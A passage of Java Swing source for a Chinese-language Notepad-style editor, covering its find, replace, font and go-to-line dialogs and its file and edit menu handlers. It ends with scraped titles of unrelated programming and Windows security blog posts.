    		final JRadioButton upButton=new JRadioButton("向上(U)");
    		final JRadioButton downButton=new JRadioButton("向下(U)");
    		downButton.setSelected(true);
    		bGroup.add(upButton);
    		bGroup.add(downButton);
    		/*ButtonGroup此类用于为一组按钮创建一个多斥(multiple-exclusion)作用域。
    		使用相同的 ButtonGroup 对象创建一组按钮意味着“开启”其中一个按钮时,将关闭组中的其他所有按钮。*/
    		/*JRadioButton此类实现一个单选按钮,此按钮项可被选择或取消选择,并可为用户显示其状态。
    		与 ButtonGroup 对象配合使用可创建一组按钮,一次只能选择其中的一个按钮。
    		(创建一个 ButtonGroup 对象并用其 add 方法将对象包含在此组中。)*/
    		JButton cancel=new JButton("取消");
    		//取消按钮事件处理
    		cancel.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ findDialog.dispose();		//将查找窗口释放内存,也就是关闭
    		}
    		});
    		//"查找下一个"按钮监听
    		findNextButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ //"区分大小写(C)"的JCheckBox是否被选中
    		int k=0,m=0;
    		final String str1,str2,str3,str4,strA,strB;
    		str1=jTextArea.getText();
    		str2=findText.getText();
    		str3=str1.toUpperCase();
    		str4=str2.toUpperCase();
    		if(matchCheckBox.isSelected())//区分大小写
    		{ strA=str1;
    		 strB=str2;
    		}
    		else//不区分大小写,此时把所选内容全部化成大写(或小写),以便于查找 
    		{ strA=str3;
    		 strB=str4;
    		}
    		if(upButton.isSelected())
    		{ //k=strA.lastIndexOf(strB,editArea.getCaretPosition()-1);
    		 if(jTextArea.getSelectedText()==null)
    		 k=strA.lastIndexOf(strB,jTextArea.getCaretPosition()-1);//在strA中查找strB,往后查找
    		 else
    		 k=strA.lastIndexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()-1); //往前查找
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    		 jTextArea.setCaretPosition(k);		//选中字符串
    		 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		else if(downButton.isSelected())
    		{ if(jTextArea.getSelectedText()==null)
    		 k=strA.indexOf(strB,jTextArea.getCaretPosition()+1);//index 返回第一个索引的位置,从这个位置开始搜索
    		 else
    		 k=strA.indexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()+1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    		 jTextArea.setCaretPosition(k);
    		 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		}
    		});//"查找下一个"按钮监听结束
    		//创建"查找"对话框的界面
    		JPanel panel1=new JPanel();
    		JPanel panel2=new JPanel();
    		JPanel panel3=new JPanel();
    		JPanel directionPanel=new JPanel();
    		directionPanel.setBorder(BorderFactory.createTitledBorder("方向"));
    		//设置directionPanel组件的边框;
    		//BorderFactory.createTitledBorder(String title)创建一个新标题边框,使用默认边框(浮雕化)、默认文本位置(位于顶线上)、默认调整 (leading) 以及由当前外观确定的默认字体和文本颜色,并指定了标题文本。
    		directionPanel.add(upButton);
    		directionPanel.add(downButton);
    		panel1.setLayout(new GridLayout(2,1));
    		panel1.add(findNextButton);
    		panel1.add(cancel);
    		panel2.add(findContentLabel);
    		panel2.add(findText);
    		panel2.add(panel1);
    		panel3.add(matchCheckBox);
    		panel3.add(directionPanel);
    		con.add(panel2);
    		con.add(panel3);
    		findDialog.setSize(410,180);
    		findDialog.setResizable(false);//不可调整大小
    		findDialog.setLocation(230,280);
    		findDialog.setVisible(true);
    	}//查找方法结束
    	
    	   
    	//"字体"方法
    	public void font()
    	{ final JDialog fontDialog=new JDialog(this,"字体设置",false);
    	Container con=fontDialog.getContentPane();
    	con.setLayout(new FlowLayout(FlowLayout.LEFT));
    	JLabel fontLabel=new JLabel("字体(F):");
    	fontLabel.setPreferredSize(new Dimension(100,20));//构造一个Dimension,并将其初始化为指定宽度和高度
    	JLabel styleLabel=new JLabel("字形(Y):");
    	styleLabel.setPreferredSize(new Dimension(100,20));
    	JLabel sizeLabel=new JLabel("大小(S):");
    	sizeLabel.setPreferredSize(new Dimension(100,20));
    	final JLabel sample=new JLabel("Wangha's windowsText");
    	final JTextField fontText=new JTextField(9);		//9列
    	fontText.setPreferredSize(new Dimension(200,20));
    	final JTextField styleText=new JTextField(8);
    	styleText.setPreferredSize(new Dimension(200,20));
    	final int style[]={Font.PLAIN,Font.BOLD,Font.ITALIC,Font.BOLD+Font.ITALIC};
    	final JTextField sizeText=new JTextField(5);
    	sizeText.setPreferredSize(new Dimension(200,20));
    	JButton okButton=new JButton("确定");
    	JButton cancel=new JButton("取消");
    	cancel.addActionListener(new ActionListener()
    	{ public void actionPerformed(ActionEvent e)
    	{ fontDialog.dispose(); 
    	}
    	});
    	Font currentFont=jTextArea.getFont();
    	fontText.setText(currentFont.getFontName());
    	fontText.selectAll();
    	//styleText.setText(currentFont.getStyle());
    	//styleText.selectAll();
    	if(currentFont.getStyle()==Font.PLAIN)
    	styleText.setText("常规");
    	else if(currentFont.getStyle()==Font.BOLD)
    	styleText.setText("粗体");
    	else if(currentFont.getStyle()==Font.ITALIC)
    	styleText.setText("斜体");
    	else if(currentFont.getStyle()==(Font.BOLD+Font.ITALIC))
    	styleText.setText("粗斜体");
    	styleText.selectAll();
    	String str=String.valueOf(currentFont.getSize());
    	sizeText.setText(str);
    	sizeText.selectAll();
    	final JList fontList,styleList,sizeList;
    	GraphicsEnvironment ge=GraphicsEnvironment.getLocalGraphicsEnvironment();
    	final String fontName[]=ge.getAvailableFontFamilyNames();
    	fontList=new JList(fontName);
    	fontList.setFixedCellWidth(86);
    	fontList.setFixedCellHeight(20);
    	fontList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
    	final String fontStyle[]={"常规","粗体","斜体","粗斜体"};
    	styleList=new JList(fontStyle);
    	styleList.setFixedCellWidth(86);
    	styleList.setFixedCellHeight(20);
    	styleList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
    	if(currentFont.getStyle()==Font.PLAIN)
    	styleList.setSelectedIndex(0);
    	else if(currentFont.getStyle()==Font.BOLD)
    	styleList.setSelectedIndex(1);
    	else if(currentFont.getStyle()==Font.ITALIC)
    	styleList.setSelectedIndex(2);
    	else if(currentFont.getStyle()==(Font.BOLD+Font.ITALIC))
    	styleList.setSelectedIndex(3);
    	final String fontSize[]={"8","9","10","11","12","14","16","18","20","22","24","26","28","36","48","72"};
    	sizeList=new JList(fontSize);
    	sizeList.setFixedCellWidth(43);
    	sizeList.setFixedCellHeight(20);
    	sizeList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
    	fontList.addListSelectionListener(new ListSelectionListener()
    	{ public void valueChanged(ListSelectionEvent event)
    	{ fontText.setText(fontName[fontList.getSelectedIndex()]);
    	fontText.selectAll();
    	Font sampleFont1=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	sample.setFont(sampleFont1);
    	}
    	});
    	styleList.addListSelectionListener(new ListSelectionListener()
    	{ public void valueChanged(ListSelectionEvent event)
    	{ int s=style[styleList.getSelectedIndex()];
    	styleText.setText(fontStyle[s]);
    	styleText.selectAll();
    	Font sampleFont2=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	sample.setFont(sampleFont2);
    	}
    	});
    	sizeList.addListSelectionListener(new ListSelectionListener()
    	{ public void valueChanged(ListSelectionEvent event)
    	{ sizeText.setText(fontSize[sizeList.getSelectedIndex()]);
    	//sizeText.requestFocus();
    	sizeText.selectAll(); 
    	Font sampleFont3=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	sample.setFont(sampleFont3);
    	}
    	});
    	okButton.addActionListener(new ActionListener()
    	{ public void actionPerformed(ActionEvent e)
    	{ Font okFont=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	jTextArea.setFont(okFont);
    	fontDialog.dispose();
    	}
    	});
    	JPanel samplePanel=new JPanel();
    	samplePanel.setBorder(BorderFactory.createTitledBorder("示例"));
    	samplePanel.add(sample);
    	JPanel panel1=new JPanel();
    	JPanel panel2=new JPanel();
    	JPanel panel3=new JPanel();
    	panel2.add(fontText);
    	panel2.add(styleText);
    	panel2.add(sizeText);
    	panel2.add(okButton);
    	panel3.add(new JScrollPane(fontList));//JList不支持直接滚动,所以要让JList作为JScrollPane的视口视图
    	panel3.add(new JScrollPane(styleList));
    	panel3.add(new JScrollPane(sizeList));
    	panel3.add(cancel);
    	con.add(panel1);
    	con.add(panel2);
    	con.add(panel3);
    	con.add(samplePanel);
    	fontDialog.setSize(350,340);
    	fontDialog.setLocation(200,200);
    	fontDialog.setResizable(false);
    	fontDialog.setVisible(true);
    	}
    	
    	
    	//替换方法
    	public void replace()
    		{ final JDialog replaceDialog=new JDialog(this,"替换",false);//false时允许其他窗口同时处于激活状态(即无模式)
    		Container con=replaceDialog.getContentPane();//返回此对话框的contentPane对象
    		con.setLayout(new FlowLayout(FlowLayout.CENTER));
    		JLabel findContentLabel=new JLabel("查找内容(N):");
    		final JTextField findText=new JTextField(15);
    		JButton findNextButton=new JButton("查找下一个(F):");
    		JLabel replaceLabel=new JLabel("替换为(P):");
    		final JTextField replaceText=new JTextField(15);
    		JButton replaceButton=new JButton("替换(R)");
    		JButton replaceAllButton=new JButton("全部替换(A)");
    		JButton cancel=new JButton("取消");
    		cancel.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ replaceDialog.dispose();
    		}
    		});
    		final JCheckBox matchCheckBox=new JCheckBox("区分大小写(C)");
    		ButtonGroup bGroup=new ButtonGroup();
    		final JRadioButton upButton=new JRadioButton("向上(U)");
    		final JRadioButton downButton=new JRadioButton("向下(U)");
    		downButton.setSelected(true);
    		bGroup.add(upButton);
    		bGroup.add(downButton);
    		/*ButtonGroup此类用于为一组按钮创建一个多斥(multiple-exclusion)作用域。
    		使用相同的 ButtonGroup 对象创建一组按钮意味着“开启”其中一个按钮时,将关闭组中的其他所有按钮。*/
    		/*JRadioButton此类实现一个单选按钮,此按钮项可被选择或取消选择,并可为用户显示其状态。
    		与 ButtonGroup 对象配合使用可创建一组按钮,一次只能选择其中的一个按钮。
    		(创建一个 ButtonGroup 对象并用其 add 方法将 JRadioButton 对象包含在此组中。)*/
    		 
    		//"查找下一个"按钮监听
    		findNextButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ //"区分大小写(C)"的JCheckBox是否被选中
    		int k=0,m=0;
    		final String str1,str2,str3,str4,strA,strB;
    		str1=jTextArea.getText();
    		str2=findText.getText();
    		str3=str1.toUpperCase();
    		str4=str2.toUpperCase();
    		if(matchCheckBox.isSelected())//区分大小写
    		{ strA=str1;
    		 strB=str2;
    		}
    		else//不区分大小写,此时把所选内容全部化成大写(或小写),以便于查找 
    		{ strA=str3;
    		 strB=str4;
    		}
    		if(upButton.isSelected())
    		{ //k=strA.lastIndexOf(strB,editArea.getCaretPosition()-1);
    		 if(jTextArea.getSelectedText()==null)
    		 k=strA.lastIndexOf(strB,jTextArea.getCaretPosition()-1);
    		 else
    		 k=strA.lastIndexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()-1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    		 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		else if(downButton.isSelected())
    		{ if(jTextArea.getSelectedText()==null)
    		 k=strA.indexOf(strB,jTextArea.getCaretPosition()+1);
    		 else
    		 k=strA.indexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()+1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    			 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		}
    		});//"查找下一个"按钮监听结束
    		 
    		//"替换"按钮监听
    		replaceButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ if(replaceText.getText().length()==0 && jTextArea.getSelectedText()!=null) 
    			jTextArea.replaceSelection(""); 
    		if(replaceText.getText().length()>0 && jTextArea.getSelectedText()!=null) 
    			jTextArea.replaceSelection(replaceText.getText());
    		}
    		});//"替换"按钮监听结束
    		 
    		//"全部替换"按钮监听
    		replaceAllButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ jTextArea.setCaretPosition(0); //将光标放到编辑区开头 
    		int k=0,m=0,replaceCount=0;
    		if(findText.getText().length()==0)
    		{ JOptionPane.showMessageDialog(replaceDialog,"请填写查找内容!","提示",JOptionPane.WARNING_MESSAGE);
    		 findText.requestFocus(true);
    		 return;
    		}
    		while(k>-1)//当文本中有内容被选中时(k>-1被选中)进行替换,否则不进行while循环
    		{ //"区分大小写(C)"的JCheckBox是否被选中
    		 //int k=0,m=0;
    		 final String str1,str2,str3,str4,strA,strB;
    		 str1=jTextArea.getText();
    		 str2=findText.getText();
    		 str3=str1.toUpperCase();
    		 str4=str2.toUpperCase();
    		 if(matchCheckBox.isSelected())//区分大小写
    		 { strA=str1;
    		 strB=str2;
    		 }
    		 else//不区分大小写,此时把所选内容全部化成大写(或小写),以便于查找 
    		 { strA=str3;
    		 strB=str4;
    		 }
    		 if(upButton.isSelected())
    		 { //k=strA.lastIndexOf(strB,editArea.getCaretPosition()-1);
    		 if(jTextArea.getSelectedText()==null)
    		 k=strA.lastIndexOf(strB,jTextArea.getCaretPosition()-1);
    		 else
    		 k=strA.lastIndexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()-1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    			 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { if(replaceCount==0)
    		 { JOptionPane.showMessageDialog(replaceDialog, "找不到您查找的内容!", "记事本",JOptionPane.INFORMATION_MESSAGE); 
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(replaceDialog,"成功替换"+replaceCount+"个匹配内容!","替换成功",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		 }
    		 }
    		 else if(downButton.isSelected())
    		 { if(jTextArea.getSelectedText()==null)
    		 k=strA.indexOf(strB,jTextArea.getCaretPosition()+1);
    		 else
    		 k=strA.indexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()+1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    			 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { if(replaceCount==0)
    		 { JOptionPane.showMessageDialog(replaceDialog, "找不到您查找的内容!", "记事本",JOptionPane.INFORMATION_MESSAGE); 
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(replaceDialog,"成功替换"+replaceCount+"个匹配内容!","替换成功",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		 }
    		 }
    		 if(replaceText.getText().length()==0 && jTextArea.getSelectedText()!= null)
    		 { jTextArea.replaceSelection("");
    		 replaceCount++;
    		 } 
    		  
    		 if(replaceText.getText().length()>0 && jTextArea.getSelectedText()!= null) 
    		 { jTextArea.replaceSelection(replaceText.getText()); 
    		 replaceCount++;
    		 }
    		}//while循环结束
    		}
    		});//"替换全部"方法结束
    		 
    		//创建"替换"对话框的界面
    		JPanel directionPanel=new JPanel();
    		directionPanel.setBorder(BorderFactory.createTitledBorder("方向"));
    		//设置directionPanel组件的边框;
    		//BorderFactory.createTitledBorder(String title)创建一个新标题边框,使用默认边框(浮雕化)、默认文本位置(位于顶线上)、默认调整 (leading) 以及由当前外观确定的默认字体和文本颜色,并指定了标题文本。
    		directionPanel.add(upButton);
    		directionPanel.add(downButton);
    		JPanel panel1=new JPanel();
    		JPanel panel2=new JPanel();
    		JPanel panel3=new JPanel();
    		JPanel panel4=new JPanel();
    		panel4.setLayout(new GridLayout(2,1));
    		panel1.add(findContentLabel);
    		panel1.add(findText);
    		panel1.add(findNextButton);
    		panel4.add(replaceButton);
    		panel4.add(replaceAllButton);
    		panel2.add(replaceLabel);
    		panel2.add(replaceText);
    		panel2.add(panel4);
    		panel3.add(matchCheckBox);
    		panel3.add(directionPanel);
    		panel3.add(cancel);
    		con.add(panel1);
    		con.add(panel2);
    		con.add(panel3);
    		replaceDialog.setSize(420,220);
    		replaceDialog.setResizable(false);//不可调整大小
    		replaceDialog.setLocation(230,280);
    		replaceDialog.setVisible(true);
    	}//"全部替换"按钮监听结束
    	
        private void turnTo() {  
            final JDialog gotoDialog = new JDialog(this, "转到下列行",false); 
            JLabel gotoLabel = new JLabel("行数(L):");  
            final JTextField linenum = new JTextField(5);  
            linenum.setText("1");  
            linenum.selectAll();  
      
            JButton okButton = new JButton("确定");  
            okButton.addActionListener(new ActionListener() {  
      
                public void actionPerformed(ActionEvent e) {  
                    int totalLine = jTextArea.getLineCount();  
                    int[] lineNumber = new int[totalLine + 1];  
                    String s = jTextArea.getText();  
                    int pos = 0, t = 0;  
      
                    while (true) {  
                        pos = s.indexOf('\12', pos);  
                        // System.out.println("引索pos:"+pos);  
                        if (pos == -1)  
                            break;  
                        lineNumber[t++] = pos++;  
                    }  
      
                    int gt = 1;  
                    try {  
                        gt = Integer.parseInt(linenum.getText());  
                    } catch (NumberFormatException efe) {  
                        JOptionPane.showMessageDialog(null, "请输入行数!", "提示", JOptionPane.WARNING_MESSAGE);  
                        linenum.requestFocus(true);  
                        return;  
                    }  
      
                    if (gt < 2 || gt >= totalLine) {  
                        if (gt < 2)  
                            jTextArea.setCaretPosition(0);  
                        else  
                            jTextArea.setCaretPosition(s.length());  
                    } else  
                        jTextArea.setCaretPosition(lineNumber[gt - 2] + 1);  
      
                    gotoDialog.dispose();  
                }  
    
            
        });  
    
        JButton cancelButton = new JButton("取消");  
        cancelButton.addActionListener(new ActionListener() {  
            public void actionPerformed(ActionEvent e) {  
                gotoDialog.dispose();  
            }  
        });  
    
        Container con = gotoDialog.getContentPane();  
        con.setLayout(new FlowLayout());  
        con.add(gotoLabel);  
        con.add(linenum);  
        con.add(okButton);  
        con.add(cancelButton);  
    
        gotoDialog.setSize(200, 100);  
        gotoDialog.setResizable(false);  
        gotoDialog.setLocation(300, 280);  
        gotoDialog.setVisible(true);  
        }
    	
    	/*
    	 * 组件添加事件,,
    	 */	
    	public void Event() {
    		
    		//以下为文件菜单
    		newItem.addActionListener(new ActionListener() {
    			   public void actionPerformed(ActionEvent e) {
    				    try {
    				     if (e.getSource() == newItem) {
    				      if (!(getTa().getText()).equals("")) {
    				       Object[] options = { "确定", "取消" };
    				       int response = JOptionPane.showOptionDialog(null,
    				         "你是否保存", "提示", JOptionPane.YES_OPTION,
    				         JOptionPane.QUESTION_MESSAGE, null,
    				         options, options[0]);
    				       if (response == 0) {
    				        FileDialog d = new FileDialog(f, "保存文件",
    				          FileDialog.SAVE);
    				        d.setVisible(true);
    				        fileName = d.getDirectory() + d.getFile();
    				        FileOutputStream fout = new FileOutputStream(
    				          fileName + ".txt");
    
    				        byte[] bb = getTa().getText()
    				          .getBytes();
    
    				        fout.write(bb);
    				        // 关闭
    				        fout.close();
    				        JOptionPane.showMessageDialog(null, "已保存");
    				        getTa().setText("");
    				       }
    				       if (response == 1) {
    				        JOptionPane.showMessageDialog(null, "你选择了取消");
    				        getTa().setText("");
    				       }
    				      }
    				     }
    				    } catch (Exception e2) {
    				     System.out.println(e2.getMessage());
    				    }
    				   }
    				  });
    		
    		closeItem.addActionListener(new ActionListener() {
    			@Override
    			public void actionPerformed(ActionEvent e) {
    				System.exit(0);
    			}
    		});
    		
    		aboutItem.addActionListener(new ActionListener() {		
    			@Override
    			public void actionPerformed(ActionEvent e) {
    				JOptionPane.showMessageDialog(null, "windows记事本\n"
    						+ "借鉴@SnoWalker\n" + "用于实现");
    			}
    		});
    		
    		 openItem.addActionListener(new ActionListener()//菜单条目监听:打开  
    	        {  
    	            public void actionPerformed(ActionEvent e)  
    	            {  
    	                open.setVisible(true);  
    	                String dirPath = open.getDirectory();	//获取对话框目录;FileDialog类的方法  
    	                String fileName= open.getFile();    	//获取对话框选定文件  
    	                if(dirPath==null || fileName==null) 	//点取消  
    	                    return; 
    	                
    	                jTextArea.setText("");//打开文件之前清空文本区域  
    	                
    	                file = new File(dirPath,fileName);  
    	                try  
    	                {  
    	                    BufferedReader br = new BufferedReader(new FileReader(file));//放入缓存器提高效率  
    	                    String line = null;		//定义一个空行
    	                    while ((line=br.readLine()) !=null)  
    	                    {  
    	                    	//将给定文本追加到文档结尾。如果模型为 null 或者字符串为 null 或空,则不执行任何操作。 
    	                    	//虽然大多数 Swing 方法不是线程安全的,但此方法是线程安全的。
    	                    	jTextArea.append(line+"\r\n");  
    	                    }  
    	                }  
    	                catch (IOException ie){  
    	                    throw new RuntimeException("读取失败!");  
    	                }  
    	            }  
    	        });  
    		 
    	        saveItem.addActionListener(new ActionListener()//菜单条目监听:保存  
    	        {     
    	            public void actionPerformed(ActionEvent e)  
    	            {  
    	                if(file==null)  
    	                {  
    	                    save.setVisible(true);  
    	                    String dirPath = save.getDirectory();  
    	                    String fileName= save.getFile();  
    	                    if(dirPath==null || fileName==null)  
    	                        return;  
    	                    file = new File(dirPath,fileName);                
    	                }  
    	                try  
    	                {  
    	                    BufferedWriter bw = new BufferedWriter(new FileWriter(file));  
    	                    String text = jTextArea.getText();  
    	                    bw.write(text);  
    	                    bw.close();  
    	                }  
    	                catch (IOException ex)  
    	                {  
    	                    throw new RuntimeException();  
    	                }  
    	            }  
    	        }); 
    	        
    	        savetoItem.addActionListener(new ActionListener() {
    	     	   public void actionPerformed(ActionEvent e) {
    	     		    if (e.getSource() == savetoItem) {
    	     		     try {
    	     		      FileDialog d = new FileDialog(f, "另存为", FileDialog.SAVE);
    	     		      d.setVisible(true);
    	     		      fileName = d.getDirectory() + d.getFile();
    	     		      FileOutputStream fout = new FileOutputStream(fileName + ".txt");
    	     		      byte[] bb = getTa().getText().getBytes();
    
    	     		      fout.write(bb);
    	     		      // 关闭
    	     		      fout.close();
    	     		     } catch (Exception e4) {
    	     		      System.out.println(e4.getMessage());
    	     		     }
    	     		    }
    	     		   }
    	     		  });
    	        
    	        
    	 
    	        
    	        //以下为编辑菜单
    	        editUndo.addActionListener(new ActionListener() {
    		     	   public void actionPerformed(ActionEvent e) {
    		     		  jTextArea.requestFocus();
    		     		 if(undo.canUndo())
    		     		 { try
    		     		 { undo.undo();
    		     		 }
    		     		 catch (CannotUndoException ex)
    		     		 { System.out.println("Unable to undo:" + ex);
    		     		  //ex.printStackTrace();
    		     		 }
    		     		 }
    		     		 if(!undo.canUndo())
    		     		 { editUndo.setEnabled(false);
    		     		 }
    		     		   }
    		     		  });
    	        editCut.addActionListener(new ActionListener() {
    	     	   public void actionPerformed(ActionEvent e) {
    	     	    if (e.getSource() == editCut) {
    	     	    	jTextArea.requestFocus();
    	     	    	String text=jTextArea.getSelectedText();
    	     	    	StringSelection selection=new StringSelection(text);
    	     	    	clipBoard.setContents(selection,null);
    	     	    	jTextArea.replaceRange("",jTextArea.getSelectionStart(),jTextArea.getSelectionEnd());
    	     	    	checkMenuItemEnabled();
    	     	    	
    	     	    }
    	     	   }
    	     	  });
    	        editCopy.addActionListener(new ActionListener() {
    	     	   public void actionPerformed(ActionEvent e) {
    	     	    if (e.getSource() == editCopy) {
    	     	    	jTextArea.requestFocus();
    	     	    	String text=jTextArea.getSelectedText();
    	     	    	StringSelection selection=new StringSelection(text);
    	     	    	clipBoard.setContents(selection,null);
    	     	    	checkMenuItemEnabled();
    	     	    }
    	     	   }
    	     	  });
    	  	  editPaste.addActionListener(new ActionListener() {
    	  	   public void actionPerformed(ActionEvent e) {
    	  	    if (e.getSource() == editPaste) {
    	  	    	jTextArea.requestFocus();
    	  	    	Transferable contents=clipBoard.getContents(this);
    	  	    	if(contents==null)return;
    	  	    	String text="";
    	  	    	try
    	  	    	{ text=(String)contents.getTransferData(DataFlavor.stringFlavor);
    	  	    	}
    	  	    	catch (Exception exception)
    	  	    	{
    	  	    	}
    	  	    	jTextArea.replaceRange(text,jTextArea.getSelectionStart(),jTextArea.getSelectionEnd());
    	  	    	checkMenuItemEnabled();
    	  	    }
    	  	   }
    	  	  });
    	  	  editDelete.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    			  	    if (e.getSource() == editDelete) {
    			  	    	jTextArea.requestFocus();
    			  	    	jTextArea.replaceRange("",jTextArea.getSelectionStart(),jTextArea.getSelectionEnd());
    			  	    	checkMenuItemEnabled();
    			  	   }
    		  	   }
    			  	  });
    	  	 editFind.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    			  	    if (e.getSource() == editFind) {
    			  	    	jTextArea.requestFocus();
    			  	    	find();
    			  	   }
    		  	   }
    			  	  });
    	  	editReplace.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    			  	    if (e.getSource() == editReplace) {
    			  	    	jTextArea.requestFocus();
    			  	    	replace();
    			  	   }
    		  	   }
    			  	  });
    	  	
    	  	editGoto.addActionListener(new ActionListener() {
    	  	   public void actionPerformed(ActionEvent e) {
    		  	    if (e.getSource() == editGoto) {
    		  	    	jTextArea.requestFocus();
    		  	    	turnTo();
    		  	   }
    	  	   }
    		  	  });
    	  	
    	  	editAll.addActionListener(new ActionListener() {
    	  	   public void actionPerformed(ActionEvent e) {
    		  	    if (e.getSource() == editAll) {
    		  	    	jTextArea.selectAll();
    		  	   }
    	  	   }
    		  	  });
    	  	
    	  	formatLinewrap.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    		  		 if(formatLinewrap.getState())
    		  			jTextArea.setLineWrap(true);
    		  			else
    		  			jTextArea.setLineWrap(false);
    		  	   }
    			  	  });
    	  	formatFont.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    		  		 jTextArea.requestFocus();
    		  		font();
    		  	   }
    			  	  });
    	  	Status.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    		  		 if(Status.getState()) {
    		  		 statusLabel.setVisible(true);
    		  		 }
    		  		else
    		  		statusLabel.setVisible(false);
    		  	   }
    			  	  });
    	}
    		
    	public static void main(String[] args){
    		new MainFrame();
    	}
    }
    






    展开全文
  • 随着 Windows 11 的发布,微软宣布推出适用于 Android 或 WSA 的 Windows 子系统。这是继他们之前的版本之后,适用于 Linux或 WSL 的 Windows 子系统。这样我们可以在Windows11上原生运行Android子系统。这篇文章将...
  • Windows CMD常用命令大全(值得收藏)

    万次阅读 多人点赞 2021-08-22 10:45:42
    Windows CMD常用命令大全前言1. 常用命令1.1 cd命令1.2 查看目录文件1.3 创建目录和删除目录1.4 查看本机ip1.5 清除屏幕1.6 复制文件1.7 移动文件1.8 删除文件1.9 ping1.10 taskkill1.11 netstat 查看网络连接状态...
  • Windows8系统中是有自带很多的系统执行功能的,Windows Search就是可以帮助我们快速搜索到电脑中的文件照片等等Windows Search服务数据的查找功能,有小伙伴发现自己的系统中根本使用不到搜索Windows Search功能的...
  • 详细介绍Windows11 一个著名特性:安卓子系统 从安装到使用的全过程,涵盖各种可能遇到的错误和障碍,并给出详细的解决方案。通过亲身经历记录各种会遇到的情况,让大家更方便、快捷地使用该功能
  • 利用Windows PowerShell进行Linux远程连接及文件互拷贝简介PowerShell属性设置远程连接至Linux系统主机从Windows主机拷贝文件至Linux系统主机从Linux系统主机拷贝文件到Windows主机 简介 Windows PowerShell 是一种...
  • 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了Windows远程桌面服务漏洞(CVE-2019-0708),该...
  • 遍历指定目录,查找到包含所需文件名称的文件,并获取所有满足条件的文件路径。 测试程序如下: package mytest; import java.io.File; import java.io.IOException; import java.util.ArrayList; import...
  • Windows PowerShell 文件内容检索

    千次阅读 2021-12-13 10:02:28
    在Window下可以利用Windows PowerShell实现同样的功能 1、在文件中检索字段 Select-String -Path C:\temp\*.log -Pattern "Contoso" 2、在文件夹及其子文件目录中检索内容 Get-ChildItem C:\temp -Filter *....
  • 在对 C 语言的编程实践中,字符串查找是最频繁的字符串操作之一,本节就对常用的字符串查找函数做一个简单的总结。使用 strchr 与 strrchr 函数查找单个字符如果需要对字符串中的单个字符进行查找,那么应该使用 ...
  • 今天刚好在知乎刷到有关 Windows terminal 的话题,忽然想起就没怎么管当时脑袋一热买的服务器了,简直就是花了钱在放在马老板那里吃灰,本着探索精神,前前后后弄了一会儿,主要是网络上几乎没有这个的帖子(新产品...
  • Windows提权

    千次阅读 2021-12-09 20:38:34
    目录为什么提权Windows提权的常见方法提权的常用命令内核漏洞Vulmap【windows????linux????】wesngWindowsVulnScan(国)在线查询可写目录或文件目录扫描上传cmd本地提权at提权(旧系统)SC提权(旧系统)PSTools...
  • 简介承接上文,上文中使用cuckoo沙箱的时候提到过,分析恶意代码的时候,首先利用沙箱做粗略分析,然后可以目标程序进行动态分析(OD,Windbg调试)或者静态分析(IDA静态反汇编).如果嫌每次逆向麻烦的话,同样可以借助...
